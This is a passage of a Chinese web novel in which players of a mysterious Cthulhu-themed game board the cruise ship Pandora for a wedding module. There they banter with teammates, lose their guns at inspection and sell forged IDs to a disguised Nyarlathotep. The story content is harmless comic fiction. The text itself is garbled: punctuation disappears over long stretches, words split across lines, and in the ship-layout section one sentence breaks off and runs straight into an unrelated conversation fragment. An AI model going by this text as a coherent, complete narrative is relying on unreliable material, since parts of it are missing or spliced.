第二天下午,她重新去了大学门口跟江北然碰头。
隔着还能有个几十米,祝槐就看到某个眼熟的男大学生正在街边角落背着个大包探头探脑——他应该是想提防什么的,但表现出来就成了做贼心虚。
她沉默两秒,拨通昨天刚要来的电话,满足了对方的戏瘾。
“洞幺洞幺,我是洞拐,她说,“听到请回答。
“洞幺收到,洞拐请——江北然反应过来,“不是,姐,咱们今天绑谁?
祝槐:“……
祝槐:“?????
“我叫你出来就只能是来绑人吗?她哭笑不得地反问,“你对举手之劳的小事有什么误解?
江北然:“啊这个,那个……
他绑食尸鬼都熟能生巧了可不是举手之劳吗!天知道他一个遵纪守法好公民是做了多少心理斗争才来的呜呜呜!
“你太显眼了,现在听我指示往街对面走。
祝槐说:“我把房卡放在花坛那了,你
等会儿拿了直接去指定的房间。”
十分钟后,两人顺利在宾馆房间会师。
孤男寡女到这种地方本来是或许会有点别样情绪在的,但此刻摊了一床的,是某个憨憨从包里倒出来的一捆麻绳,几块塞嘴布,以及——
这里为什么会有面具?
“因为我想来想去觉得king那个面具还挺帅的,”江北然支支吾吾,“要挡脸嘛,一时半会儿买不来一样的就说先用个什么来凑合……”
想不到你也是个中二病预备役。
就算这么讲——
祝槐:“一个迪迦,一个赛罗,你绑架是去绑小怪兽?”
那两张奥特曼面具带着信仰的光芒躺在被子上,江北然此刻也意识到自己的傻得冒泡,委屈道:“那能绑也行。”
“其实吧,你有这份能当绑匪的心,我是很感动,而且戴着这个面具去做坏事确实挺有迷惑性。”还不等他真为这理解而欣喜,她话锋一转,若有所思道,“但是记得按时喝补锌口服液。”
……喂!!!
“说正题吧,你那边是怎么显示的?”
“啊……app吗?”江北然摸出手机,“除了应该一样的地方,结算了两万积分,姐你呢?”
那看来是根据各人表现有差异的。
“三万。”祝槐说。
《亡灵舞》这个模组的图标是黑底的夜空,上面浮着一轮弯月,正中央是两个小人正在起舞的剪影,难度等级则显示为“c”,他们这次的探索度同样是解锁了真相后的100。她的角色卡也多了一张,存放在物品仓库的两样道具原本被提取到了现实,而祝槐在发现右上角多了个“历史记录”的按键,里面可以撤销之前的操作——前提是东西还在自己的手里。她就干脆又把十字架放了回去。
而“?????”的那项条目,在她这次在模组里学习触发以后就解锁了——是“法术与咒语”,现在可使用的是食尸鬼联络术,其实后面还跟了几条,但目前都是灰色的未激活状态。
但是还有一点。
“商城呢?”她问。
“哦哦,这个啊!”江北然说,“我最开始也挺疑惑的……它是一直都没有开放,我觉得可能是因为现在人数还太少吧,有点像内测?猜的啊,我猜的。”
的确。
祝槐自己加入游戏也是在不到一周前,当时的编号是1104,这个数字绝对算不上多。
“那你是怎么进的游戏啊?
”她好奇地问。
她是带着目的在找可江北然怎么看怎么就是个普通学生进的模组还比她多。
不问还好一问对方顿时落了张苦瓜脸“我说了你不准笑啊。”
祝槐:“?”
那她得听听才决定。
“姐我就跟你说我真是……期末考试押题押歪了”他说“我一个郁闷我就去商场买买买然后好家伙中了个头奖!我当时真以为是时来运转结果三天后半夜我一睁眼咔嚓进游戏了。”
“我初见就差点撕卡好不好好不容易出来了
祝槐:“……噗。”
江北然:“我说了不准笑了!”
“我忍了”祝槐正色“没忍住。”
江北然:“……”
你根本就在笑你都没停过!
“反正我后来才从别人嘴里知道”他沮丧地摸摸耳朵“大家都管这个游戏叫‘x’。”<
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p>祝槐:“x?”
“因为图标是个叉嘛”江北然说“再加上‘x’代表未知什么的就这么代称了……那既然不是绑架姐你说的实验是什么啊?”
“简单来说”祝槐说“我想让你或我来观察一下对方进入游戏时的情况。”
当然其实应该是她进去毕竟不能为了自己一时的好奇心让别人多冒一次风险。
江北然:“……啊?”
“这个……虽然我不知道具体情况也不知道是怎么做到的”他说“应该是消失。”
“之前我舍友进寝室的时候没看见我从卫生间出来就发现我坐在床上——当然姐你也知道是怎么回事我也没想到他在这一分钟里回来了。”
祝槐:“手机会落下吗?”
“……不”他回忆道“进入媒介应该是一起消失的我记得有次我没有拿着手机但是出来的时候一不小心没坐稳直接把手机也掉床缝里了……掏了好半天呢。”
也是这点同样跟她的印象吻合除了第一次app才绑定上手机的情况她记得昨天脱出时也握住了原本放在桌上的手机。
“不过还有一段休息时间呢”江北然嘀咕“那就到时候再说?”
“也只能这样吧”祝槐道“不是等倒计时结束才能进入游戏吗?”
“不可以直接提前的
点上去就会问你要不要结束然后现在剩余的时间也会累积到下次”现役大学生说“我那时候为了后面几场考试攒了一段来着。”
祝槐:“……”
她还真没试过这个。
正合她意。
“那就现在吧。”
祝槐果断说:“我去。”
江北然:“哎??现在???”
“择日不如撞日。”祝槐思索道之后等白鹄的消息她还指不定要忙“这一分钟里麻烦你看好了。”
江北然:“……??”
“卧槽我还以为洛佩兹那家伙已经够工作狂了”他震惊道“姐你——”
“承蒙夸奖。”祝槐眨眨眼。
她果断按上了那串时间。
——检测到您仍有一定休息时间确认现在进入游戏?
确认。
进度条正在读取。
——已匹配到模组《约定之地》。
祝槐还来不及跟旁边人打声招呼黑暗便突如其来地降临在眼前。
也就是一眨眼她又回到了那片空间里柔光均匀地飘散着两张角色卡悬浮在面前后面依然跟着个虚框。
【你好。】
——她听着有点不对。
比起听惯了的前愉悦后气急败坏的声音这次的陌生嗓音似乎要更偏平静和理智一点祝槐试探地问了句:“你好?”
“你听上去不是之前那位。”
【前面负责你的……】
响起了纸页被翻动的声音。
【是33号33号申请休假了。】
祝槐叹了口气。
好失落。
【看来你们的感情不错。】
某个kp心腹大患毫不心虚地点头“是啊是啊。”
【这也没办法我看到他的休假理由是一当主持人就两眼发黑血压升高胸闷气短求生不得求死不能……好像很严重的样子可能新人没有经验承受力本来也不太好。】
祝槐:“……”
咳她得忍住。
“那他还会回来吗?”她遗憾地问“我真的特别想念他。”
【会的应该是等短期休假结束之后——我之后会帮你转告他的他一定很高兴。】
祝槐:“我想也是。”
“所以这次就是你来当kp啦?”她说“难道又是秘密团?”
【为了区分一下,我是07号。这一次是公开合作的模组,我只是来询问你选择新卡还是原有的旧卡并进行相关的剧情导入。】
祝槐“唔”了声,“两边有什么区别吗?”
【新卡就是字面意义上正常新制的角色卡,但选择旧卡可以多出六十点的成长点数,这部分点数可以自由加点。】
……原来如此,表面上是旧卡更有利,实际上用多了以后因为san值不断下降,反而更有可能因为san值归零而撕卡。
“那我选旧卡。”祝槐说。
当然是这样更刺激了!
【唔,你这里怎么标注了个“不能让她点妙手”……】
祝槐:“……”
有人怎么走了还坑人??
“不可以吗?”她可怜地问。
【……不,虽然写是这么写了,理论上还是自由的。】
“没事,”祝槐大方道,“那我点别的吧。”
反正妙手也玩腻了。
“我可以全都点伪造吗?”
kp:“……”
kp:“可以。”
总觉得哪里怪怪的,但是算了。比起这个,他的注意力——
【等等,这张卡怎么回事?】
祝槐:“有什么问题吗?”
【不。】
kp惊讶地说。
【虽然我听说过也见过这种自带的情况,但还是第一次碰到这么高的——】
“你也说了会有嘛。”祝槐笑道,“各人情况不同而已。”
在她面前,那张默认的角色卡静静地悬着。
姓名:斯卡蒂·格雷
玩家:祝槐
职业:私家侦探
年龄:22岁
力量:40(想徒手开锁那是做不到了)
体质:50(不好不坏的正常人标准)
体型:50(扔进人群里不会很显眼)
敏捷:45(反应和速度哪个快点只能二选一)
外貌:80(外表同样是你的武器,向那些被你骗过的人说拜拜)
意志:70(难以置信,真的有什么能动摇到你吗)
智力:90(你可以并习惯于掌控一切,讨厌有事超出你的控制范围之外)
教育:80(按常理来说应该是重点大学研究生……)
幸运:80(不然你似乎没有办法活到现在)
san值:40(建议提前想想你的墓志铭)
技能:计算机使用(90)、乔装(40)、话术(85)、魅惑(40)、斗殴(60)、图书馆使用(70)、聆听(60)、神秘学(80)、侦查(70)、手
枪(40)、心理学(80)、伪造(60)、克苏鲁神话(32)。
“就这张吧。”她说。
()
第32章 约定之地(一)
【故事的开场是你们收到了一封婚礼的邀请函,关系人可以是男方也可以是女方,婚礼当事人是爱德华·琼斯和休谟集团的大小姐桑德拉·休谟。婚礼地点是由休谟集团包下的豪华邮轮“潘多拉”号,为期五天,你们将在海上见证这对新人共结连理。】
……这名字多少带点不吉利。
【既然选择的是旧卡。】
新一任07号kp说。
【在补充过关系后等待开场的二十分钟内也可以提前与你的队友在线沟通,看看有没有什么需要变更的地方。】
“这么友好?”祝槐问。
【这样可以让你们的技能点效益最大化,避免盲目加点出现技能重复的情况,当然,要这么做也是你们的自由。】
面前果然出现了另一个窗口,最上方显示目前在线人数(4/4),底下是个输入框。就跟骰点一样,在设定过自己的id后,她念头微动,框内就自动浮现出了她想说的话。
祝槐:“?”
草,脑电波输入就很方便。
[冬青]:嗨?
现在还没有人讲话,她率先打了个招呼,其他人才陆陆续续冒了头。屏幕上转译出的是连她也认不出的一种从未见过的陌生语言,但不可思议的是,只要看着就轻易理解了它的意思。
[威尔]:你好
[宁宁]:你好呀,大家都是什么职业?
[威尔]:侦探
[冬青]:真巧,我也是。
[威尔]:那岂不是撞职业了
祝槐看了眼自己的技能面板。
[冬青]:没事,我觉得我们的专业领域应该不重合。
……不如说正经侦探也不会点她这些技能吧!
[宁宁]:诶,两位都是侦探吗?那还需要哪个技能,医生吗?
祝槐心说只要不是急救大失败的那种就行,她对当初的一巴掌脑震荡实在记忆犹新。
[冬青]:嗯,我卡上没有医学相关的技能,就拜托啦。
[威尔]:我只有急救,应该不够用
[宁宁]:好嘞。说起来不是还有一位吗?
从头开始沉默到现在的最后一个队友终于——
[罗曼]:。
——敲了个句号。
祝槐:“……??”
[罗曼]:请随意。
这位不知性别的神秘人士又补充了一句。
[罗曼]:煮不在乎。
[宁宁]:……?
[威尔]:?
[威尔]:敢问这位……
[罗曼]:吾此行乃为将吾煮福音散播至世界各地。没错!我就是飞天意面神教兼地球喵喵教的信徒!i\''ai\''a!飞面大神发糖!
祝槐沉默了。
……哥们你这信仰不虔诚啊!怎么还身兼数职一起打工的!
[宁宁]:能两个一起信的吗?!
[冬青]:工资是两倍吗?
[威尔]:我喜欢狗
代号“罗曼”的队友此刻爆发了自己惊人的速度。
[罗曼]回复[宁宁]:可以,只要缴两份会费就行。这样遇到喜欢吃的就安利飞面大神,遇上喜欢猫的劝他一起信仰地球喵喵,我们还有特别好吃的意面肉酱。
回复[冬青]:没有工资,全凭体验生……一腔热爱。
回复[威尔]:呔!异教徒!来战!
[威尔]:总之我觉得是不需要考虑职业重复的问题了,但是这种卡能过真是奇迹
[宁宁]:最大的问题是咱们差得南辕北辙怎么认识吧……
[冬青]:好办,大家平时都是网友,某天聊着聊着发现都收到了这封邀请函,干脆在邮轮上面基
[宁宁]:……太凑巧了吧!!!
[罗曼]:这是煮的缘分!
[威尔]:生活可以更戏剧化
[宁宁]:我加完点啦,急救80医学80,这次绝对不会有问题
祝槐:“……”
她突然觉得事情有点不对劲。
[罗曼]:你们有兴趣跟我一起信飞面大神吗?
[威尔]:我喜欢狗
[罗曼]:没说猫!
【时间到,接下来根据你们的完成顺序依次入场,你们的会合地点默认为潘多拉号出发的母港港口,没有别的问题就可以进入那道门了。】
毫无疑问,她是第一个,因为在kp话音刚落下时,那道熟悉的门就出现在了眼前。
祝槐向那边走过去——拉上了她的行李箱,箱子里除了换洗衣服和别的随身物品,还顺带装上了在《亡灵舞》获得的那副蒲林的埃及十字架,以防万一也是好的嘛。
反正都是她的卡,道具交换不过是左手倒右手。非要说的话设定成两人认识,阿维丝把
东西寄给似乎对这方面更了解的斯卡蒂·格雷来征求她的意见也不是不可以。
在刺目光亮渐渐恢复成正常的港口景象时微咸的海风也拂上面颊海水特有的浅淡咸腥味充斥着鼻腔。
停泊在不远处的豪华邮轮堪称壮观
耳边不乏周围行人的赞叹声其中也有明显是此次航行的客人拿着什么信封去登船口的工作人员处出示和检验。
几乎一样的邀请函在她手里也有一份淡色花纹的信封里是花体字设计和工艺都足以配得上大小姐身份的精美信函上面两名新人言辞诚恳又幸福洋溢不难看出对即将进行的海上婚礼的期待。
反正也要等人祝槐不急着去那边干脆站在原地摸出了手机。
上次离开模组时没机会这会儿就可以试试搜不搜得到了。
这里和现实的时间似乎是错序的《亡灵舞》发生在《画中人》的大约一个月之后现在倒可能是因为她隔天就重新参加了游戏离《亡灵舞》才过了不到一个礼拜。
塞缪尔说的那两个地方上了新闻应该不难查。祝槐装模作样地翻了翻过往报道发现未果后也不演了直接动用了搜索引擎反正她知道的原因也同样可以推锅给自己的另一张卡。
果然在输入关键词后一串结果很快就跳了出来。
阿兰伯堡湾的新闻在两个月之前报道的是当地渔民出海时捞到了奇怪的船只残片当地政府进行大范围捕捞后捞上来了一艘虽然损毁但大部分都还保留完整的轮船。
据调查那是三年前遭遇海难的玛格丽特号游轮。因为过去了这么长的时间当初乘客和船员们在海水腐蚀下已经辨认不出谁是谁尸骨异常扭曲数量上也遗失了不少但不知为何靠近船长室的位置有几具相对完整和保存完好的尸体似乎才死去不久。
而整艘船上遍布着黏糊糊、恶臭的黄绿色生长物像是微小的藤蔓越靠近船长室的部分就越粗壮最终集中在掌舵处。
那里本来该安放着什么但只剩下几块四分五裂的石头拼凑起来有如婴儿大小形状就像一个丰润的无面女性。
报道还说当地在此之前也有过目睹幽灵船的传闻目击者形容的船只特征与玛格丽特号十分相似真相已不可考。
听着就有问题好吗更别说还是对
邪神组织的特工专门提到了。
“kp”祝槐说“我申请克苏鲁神话检定。”
点数高就是这么任性!
【可以。】
[斯卡蒂(祝槐)]进行克苏鲁神话检定32/32成功。
祝槐:“……”
就是说希望她之后的骰运没事。
kp:“……”
这么高就离谱!
【那么你意识到这可能是名为“星辰之母”的邪神幼体祂喜好居住在沉船之中通过身上伸出的触手状物来控制船只和人类尸体以此在海中移动。祂还可以制造出一种雾气可能就是幽灵船传闻诞生的始祖。】
祝槐若有所思地“哦”了声。
这么一来真相也很明了了那几名调查员确实很努力他们想办法解决掉了星辰之母哪怕是以撕卡为代价。
但另一个地点——托萨地区就不太好办了他说的“完全封锁”也包括了信息上的最高等级封锁。
她只查得到那个地方在三年前还是一片正常就像是突然有一天消失得无踪无际
……她带是带了自己改装过的笔记本但就算想试着黑一下海上的网络状况也不行啊!
祝槐正郁闷着忽然听到身后有谁打了招呼“你好?”
这声音偏中性她回头看去对方瞧着才十六七岁面容清秀浅蓝色眼睛里只有冷漠与理智稍长的短发发梢到了耳边戴着起这个高中同学是吧。
想想刚才的毒奶她开始回忆自己是不是在没注意的时候路过哪座庙里开过光。
“你们……”威尔看出点什么来回望望“认识?”
“之前的模组碰到过”祝槐问“你急救多少?”
威尔:“六十怎么了?”
祝槐拍拍“老同学”肩膀“这可能是个暴力奶妈。”
路婉婉:“……呜呜呜别骂了别骂了这就回去好好重修。”
“煮原谅煮都可以原谅。”嗦完面的罗曼把碗往垃圾桶一丢“默林·艾伯克。”
“弗莉达·盖斯凯尔……”反正他们私底下可以用代号现在交换名字也只是为了在被npc叫到谁的时候有点印象路婉婉咳了声“那既然都到齐了咱走不?”
几人也就各提了各的行李箱开始往登船口走。
“我导师当过休谟家的家庭医生”路上路婉婉
顺带介绍了一下自己的设定,“但要去一个学术会议,就让我来代为参加了。”
“我有个问题。”祝槐说。
路婉婉:“你是不是想问我延毕几年了。”
祝槐无辜地眨眨眼。
……她就知道!
罗曼:“我是爱德华·琼斯他二大爷的表侄子的三舅妈的女儿的表弟。”
其他人:“……???”
目前唯一指定正常人担当的威尔脸上难得出现一秒迷茫,“什么?”
祝槐:“就是八竿子扯不到关系。”
路婉婉叹气,“不如说爱德华连这么远的亲戚都请到了才有毛病吧……”
“我爸爸是很有名的侦探,”威尔说,“以前休谟家委托过,这次就干脆也发邀请函了。”
“我也差不多,”祝槐摸摸下巴,“唯一一位男方客人退群吧。”
罗曼:“……煮不在乎!”
他们来到登船口前,依次将邀请函交给了负责接待的工作人员,在对方点了头又客气地欢迎后还不等往里走,就听到kp开口道。
【还要进行检查,武器会被没收,直到下船才会还给你们。】
所有人:“……”
“我问可不可以带你说可以的!”威尔冷静的声音里带了一丝愤怒。
【但我没有说不会查,不想被发现就过一个敏捷检定。】
[斯卡蒂(祝槐)]进行敏捷检定,89/45,失败。
祝槐眼睁睁地看着自己两个模组以来难得带上的一把枪被收走了。同样遭遇的还有个路婉婉,她用眼神和自己的电击器做着漫长而幽怨的告别。
[威尔]进行敏捷检定,84/50,失败。
他老老实实交出了自己别在腰上的左
轮,若无其事地准备往船上走。
【你再过个幸运。】
威尔:“……”
他一僵。
[威尔]进行幸运检定,96/60,大失败!
威尔:“?????”
这不合理!
“好吧,我们注意到了你的外套,”接待员耸耸肩,“介意检查一下吗?你知道的……只是以防万一。”
【全拿出来吧。】
kp无慈悲地说。
威尔面无表情地解开了扣子。
他先是把手伸进了外套口袋,然后是衣服内衬和裤兜,掏出了一把……又一把,有9mm,有38
0有格
洛克甚至还有一把410口径的微型霰
弹枪最后摘下自己的帽子倒出了一小包藏在里面的子弹。
这不叫带枪这已经是个人形自走军火库了。
别说队友和接待员连后头排队的路人都看得目瞪口呆他们周围迅速空出了一圈真空地带。
接待员:“先生你……”
“我有很多仇人”威尔说“怕人寻仇有问题吗?”
接待员仍有些将信将疑看他的神情就差问一句是不是打算抢婚了。
“他就是有这种习惯啦”祝槐笑着插话道“之前也劝他去看过医生了——我们都怀疑他有点被害妄想唉可能侦探当久了总是会担心被罪犯报复的。”
[斯卡蒂(祝槐)]进行话术检定30/85困难成功。
威尔看她的眼神多了点不易
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察觉的感激接待员看看邀请函上的收信方写的是事务所也妥协道:“那我们现在收起来了到船上也请注意点放心我们的安保是世界第一位的。”
“……我假装信了。”
他们走到舷梯上路婉婉才小声吐槽“一般这么说的肯定要出问题。”
四个人里黑得就罗曼一个人过了检定当然也可能有他刚吃完面还一身番茄肉酱的味道搞得接待员烦不胜烦的原因。
“我就一把小左
轮”罗曼耸肩“要是威尔的真能带上去还能分人手一把还有剩。”
威尔被kp摆了一道现在气鼓鼓的步伐飞快地走在最前头。
“待会儿可以观察一下他们把武器运到了哪里”祝槐心说他们这真是人才济济“……那是什么?”
威尔到底还是个侦探一听这话就下意识回过头去其他两人也纷纷投以目光。他们正站在舷梯上半部分的位置能看到几个船员正在合力将一个用布罩着的约有两米多长宽的物体推进船舱。
瞧着像个方方正正的箱子但因为盖得实在很严实一点也看不出里头是什么。
“……奇怪”路婉婉也嘀咕道她又往下看了看“糟糕又有人上来了。”
“那还是先上去好了。”
祝槐说:“走吧。”
他们几个是一起来的去领到的客房钥匙也是挨着的房间。不过现在也不急
一登上一层甲板
再穿过紧挨着的通道,一览无余的是休闲中心里海底花园般的景象。
桌椅在圆形舷窗旁排开,周围环绕着片片白珊瑚的壁画,头顶是金色与天蓝色相间的穹顶。已经有三三两两的乘客落座,吧台也分为服务式和自助,两边都各有各的特色。
路婉婉:“实不相瞒,我有点……”
心动。
要不是明知道这艘邮轮肯定会出问题,谁能不心动啊,一生难得的豪华出游待遇!
“现在还没有任何异状,”威尔说,“按照设定来说咱们也不能真的到处轻举妄动,先好好享受一下也是可以的。”
“就坐这吧。”
罗曼已经毫不犹豫找到一个四人桌的座位在上头瘫着了,“别说,这椅子还真挺舒服。”
“那我去拿饮料吧,”路婉婉主动道,“用不着全都挤过去。”
“我也去好了。”
威尔说:“两个人正好,下次再换你们。”
他们坐在原地等着两个队友,罗曼翻了翻桌上菜单,遗憾道:“怎么没有意大利面。”
祝槐:“你可以去厨房自己现做。”
“也是,”罗曼立刻赞同地点点头,“正好转播一下我煮的福音。”
祝槐:“……”
她开玩笑的!
“你们好,”忽然有谁微笑道,“这里有人吗?”
祝槐回过头,顿时眨了眨眼。
黑皮肤。
开朗。
埃及口音。
她毫不怀疑如果king在场,会当场指认这就是那位挺有前途的年轻人。
他无疑是长得很帅气的——某大龄中二的审美倒没有出错——年轻男人这会儿正笑着端着酒杯,“我刚刚正好经过,听到你们说了什么有趣的话题——你们对宗教有兴趣?”
“对,”罗曼信誓旦旦点头,“飞天意面。”
男人的笑容僵了一下,“……什么面?”
“别管他,”祝槐说,“不过这里有人,我们两个朋友去拿饮料了,可能待会儿就回来。”
“哦——没事。”
男人很自来熟地在空椅子上坐下了,“那他们来了我就走了,我是个做交易的二手书商,不怕你们笑话,来这也有一部分原因是在找客户。”
“如果是宗教相关,我确实有在经营这方面……”他神秘地笑笑,“你们有兴趣了解吗?我这里什么书都有,当然,不瞒你们,是不太见得了光
的那种。”
“一些生僻的、可能不为大众所知的神明,但足以让人在其中获得自己的救赎。”
他语气颇具蛊惑力,“比所谓的‘上帝’更加远大……你甚至可以从中得到超乎寻常的力量。”
祝槐:“什么书都有……”
她现在不是阿维丝·贝奈特,没有听魔术师说过这些特征,理论上不该对他起疑。
但对于对方的身份,哪怕是出于目前所有的克苏鲁神话知识,她也的确有个猜测。
“其实我确实因为职业关系知道一点奇奇怪怪的信仰……”她问,“那你有没有听说过一团巨大的火球啊?”
书商:“……”
他有病啊卖自己死敌的书!
“没有。”他斩钉截铁地说。
祝槐:“什么书都没有还好意思跑出来开店。”
书商:“?????”
你是不是来找茬的?
“哦,”他面上丝毫不露,若有所思地微笑道,“看来你是对那团火球很感兴趣了,好啊,我会帮你留意的。”
罗曼:“?”
他怎么听着这语气像“敢说是明天就把你沉海”。
“那倒没有,”祝槐说,“就是正好接触过信那个的,在海上有点冷给想起来了。”
她观察着对方的神情,“你好像挺讨厌那团火的?”
黑皮商人嗤笑,“有这么明显?”
罗曼:“是挺明显的。”
他一插话,马上被对方斜了一眼。
“其实我也没有什么好感,热都热死了。”祝槐说,“既然你也讨厌,那我给你支个招?你不是卖这方面的书吗,我依稀听说过……那家伙叫‘活火焰’,有个死对头。你不如把关于祂死对头的书换个封面之类的卖给活火焰的信徒。”
“他们好像还会举行什么召唤仪式?虽然我不信真能召唤——但万一做完了才发现是在祭祀死对头的,这不是很有意思吗?”
“被发现了就换个身份继续卖,到时候再告诉他们,呀,想不到吧,全都是我,惊不惊喜意不意外!”
罗曼:“……”
你听上去好熟练啊。
书商:“这……”
他陷入了沉思。
不错不错,好像是挺有趣。
祝槐一转攻势,反客为主地推销道:“所以要做到这点——”
“哥们,”她问,“办
假证吗?”
()
第33章 约定之地(二)
书商——不,准确来说,是邪神的分
身沉默了。
“伏行之混沌”——奈亚拉托提普作为一众邪神的使者以及代行者,从不忌任何手段,不如说恰恰热衷于欺骗、蛊惑人类。一步步地引诱他们堕入绝望。
祂化身为人类,伪装成各种各样的身份行走于这片大地之上,以此散播诸神的信仰,但,其中绝不包括“居于火焰者”。
“居于火焰者”,又或者被称为“爆燃者”和“活火焰”的克图格亚,尽管这位已经被封印在了南鱼座恒星的北落师门,依然不影响祂的看不顺眼以及不共戴天。
这样一想,万一表面工作真能搞得那么到位,对方的信仰者千辛万苦地准备好了召唤仪式,诚心诚意地想迎来自己信仰的神祇,结果跳出来的是祂,还反而将其一网打尽——
……糟糕,是亿点点心动的感觉。
kp:“……”
欲言又止。
想让过个技能的话到嘴边又咽下。
这不是……已经完全相信了吗?
kp还在这头陷入迷茫,那头的书商已经开口道:“先给我来个百八十张。”
祝槐:“?”
罗曼:“???”
百、百八十张?用得过来吗?!
奈亚拉托提普自己也反应过来,虽然祂是想早做晚做都是做还不如来个批发,但是这个数量在别人看来可能有点不同寻常。
唉,弱小的人类。
书商改口:“还是十个八个吧。”
这下是正中祝槐下怀的,她当即拉开了自己随身的挎包,里头除了这次的邀请函和个人物品,一应——是一堆假证。
罗曼:“?”
队友个个都是人才,说话又好听,超喜欢在里面的。
“其实我这里就有现成的,”伪侦探真欺诈师一本正经道,“您看看要哪种?”
书商只看了一眼,干脆地大手一挥,“我全要了。”
“很好,”祝槐说,“我就喜欢您这样的爽快人。”
双方都十分满意,推销不成被反推销的书商当机立断地付了钱,清点了一下这一摞假证,祝槐忽然冷不丁地问:“说来……您之前那么讲,看我这样也知道我倒觉得赚钱很正常,但既然您上了船,肯定也是收到了邀请函吧?”
书商看看她,了然地笑了。
“其实我想去哪里
就去哪里。”他慢条斯理地说“不过——就和你想的一样
祝槐“咦”了声:“能冒昧问问是谁吗?”
她也不掩饰自己的目的了书商撑起下巴举手投足是理所当然的、发自内心流露出的傲慢。
“我一般是不会这么告诉别人的。”
他笑笑“这次就破例好了不错是男方的邀请函。”
“准确来说是他的秘书”书商说“我们有过一次很愉快的交易大约是看在那次的份上——你们的同伴似乎回来了那看来我得腾个地方回见。”
他不紧不慢地起身端着自己的酒杯……和一摞假证又走向别的地方了路婉婉和威尔的确正从吧台那往这边走。
而罗曼还在盯着走远了的书商那一捧假证祝槐怎么看他的神情怎么从里头瞧出了点眼馋。
“我可以预订吗?”他义正辞严地问“我觉得可以用来打入地球汪汪教。”
祝槐瞥瞥他当即决定队友的这份钱也可以坑。
“当然可以。”她说“就是我手头上没货了你留个地址想要的话等回去再寄给你。”
两人相视一笑一切尽在不言中。
kp:“……”
算了你们开心就好。
四杯颜色各异的果汁饮料被接连放在桌上另外两把椅子也紧接着被拉开路婉婉和威尔依次入座。
“不知道你们喜欢哪种就每种口味各拿了一杯椰汁西瓜汁什么的你们先选。”路婉婉不失好奇地看着那个在他们回来前离开的背影“那是谁啊?好像还挺帅的诶。”
“一个可疑的二手书商”祝槐总结道“爱德华的秘书向他买过书。”
“书?”这个词触动了威尔的神经“难道是那种书?”
合作团的玩家说话并不需要那么拘着多当几次调查员都知道他指的是什么毕竟就像某位知名不具的“king”一样说到邪
教徒那标配就是记载了各种诡谲术式的神话宗教相关的孤本。
“不好说”祝槐摇摇头出于职业习惯不喜欢把话说得太满“有可能。”
她率先拿了杯芒果汁轻轻抿了一口豪华邮轮的用料自然是很好的口感丝滑绵密味道甘甜就听路婉婉说:“我们刚才拿饮料的时候也从旁边人那听到点东西收缴的武器应该都运去库房那里了。”
“我好像听到了煮的声音”罗曼虔诚道“祂说我们可以伺
机去库房把武器偷——取回来。”
kp冷不丁问。
【你确定吗?】
威尔:“……”
罗曼:“……”
侦探努力维持着冷漠的表情“不了不了。”
祝槐:“?”
“诶怎么了?”路婉婉问。
“你们还不了解07号
论kp的最后一丝慈悲与调查员刻在dna里的被“你确定吗”支配的恐惧。
祝槐心说实不相瞒她有点……更动心了。
但现在一开始还是谨慎行事为妙他们把别的搁置在一旁扯这扯那的聊了一会儿。
哪怕神经绷得再紧在还没有任何异状发生的情况下几人也不由被咖啡厅里有如珊瑚海般的放松氛围所感染。罗曼和威尔又开始了他们的猫狗大战路婉婉终于忍不住了神秘兮兮地凑过来。
“那个那个凯蒂啊”她还保留着在第一个模组里的称呼“可能这么问有点八卦也挺私人的……”
“不过我真——的是很好奇本来都忘了刚才一下子又勾起来你不回答也行。”
路婉婉下意识回头看了眼那个长相英俊的书商已经不见人影了“就你当初说拒绝伊莱是因为他不是你喜欢的类型那……”
祝槐:“你好奇我喜欢什么类型?”
路婉婉:“对对对。”
祝槐:“嗯……”
“是个人。”她严肃地说。
路婉婉:“……???”
这还有不是人的选项吗?!
……哦当初伊莱好像还真不是。
“但是也太宽泛了吧!”她震惊道。
“在是人的基础上再筛选——什么的开个玩笑。”欺诈师笑了笑笑容有如海面上一触即破的浮沫谁也不知道一瞬间窥见的到底是不是她的真心“这种事没真遇到谁说得准啊到时候再看呗。”
路婉婉:“虽然这么说也是啦……”
“哎”她转头拍拍桌子“你俩别吵了还得去别的地方看看呢!”
他们上船就已经过上午十二点了这么大一艘邮轮太耽搁就真转不完了。
不是小学生胜似小学生的两人赶紧喝完自己的饮料去还了杯子和托盘休谟集团财大气粗宾客无论什么消费都一应全记在他们名下
也不收礼物礼金,大家只要想怎么享受怎么来就好。
在餐厅和名为“珊瑚海”的休闲中心旁边是个三层剧院,同一楼层还有规模十分可观的棋牌室和舞厅,连赌场、酒廊跟商店之类的地方都一应俱全。
船舱最下层是部分船员船舱和医务室,从四层到八层都是客舱,看地图也有超市、自助餐厅和健身房之类的生活区。
第九层开始就是另一部分船员船舱、驾驶室和日光甲板,大小泳池和露天广场也都在最,“……还真变天了。”
现在是午后,按理说正是阳光明媚的时候,头,“等婚后就改姓休谟了吧。”
“爱德华有自己的事业,做得还很不错。”
坚定的肉酱意大利面爱好者还在嗦他的面,他作为唯一的男方“亲戚”,得到的情报显然稍微多一点点。
“所以煮跟我八卦说休谟家的下一任继承人是他们家大小姐,也有一部分原因是想让他入赘来当副手。”
其他人:“……”
你说的其实是你妈吧。
“还有一个有点奇怪的地方,”威尔用餐巾擦擦嘴角,“船上所有的装饰唯独只少了一种颜色。”
路婉婉:“……有吗?”
她还真没注意。
“有,”他说,“他们好像不太喜欢黄色。”
路婉婉:“……”
不、不愧是侦探。
“讨厌的颜色才要多多接触好脱敏嘛。”祝槐笑道,“食物饮料倒是很难避开,芒果汁很好喝。”
邮轮到这时候就完全热闹起来了,不过用完餐已经挺晚了,他们的行李还在房内,大家一致的意见都是第一天就先回去收拾然后早点休息一下。
他们的套房都在左舷船舱,祝槐走进自己那间,行李已经被好好地放在了门后的墙边。
套房看上去相当舒适,该有的家具一样不落,还配备了海景阳台。航行还有四天,她干脆把换洗衣服挂进小衣柜,其他的也放在趁手的地方。
她刚合上衣柜,房门忽然被敲响了。
祝槐开门,看见有个服务生打扮的中年男人正站在外头。
他头发稀疏,有一双略微凸出且眼距不小的眼睛,除了戴着那条围巾和衣服遮挡的地方,露出来的皮肤都很粗糙。
“打扰了,这位小姐,”他的口音有点陌生,“我们怀疑可能有人混上了这艘邮轮,所以来挨个核对一下。”
他给祝槐看自己手里拿着的信件,
“请问这是你的邀请函吗?”
祝槐瞥了一眼。
“对”她说“没错。”
与此同时她听到了一阵骰子声。
kp:“……”
祝槐:“?”
在?你怎么在暗骰?
“好的感谢你的配合。”对方稍一欠身“夜安。”
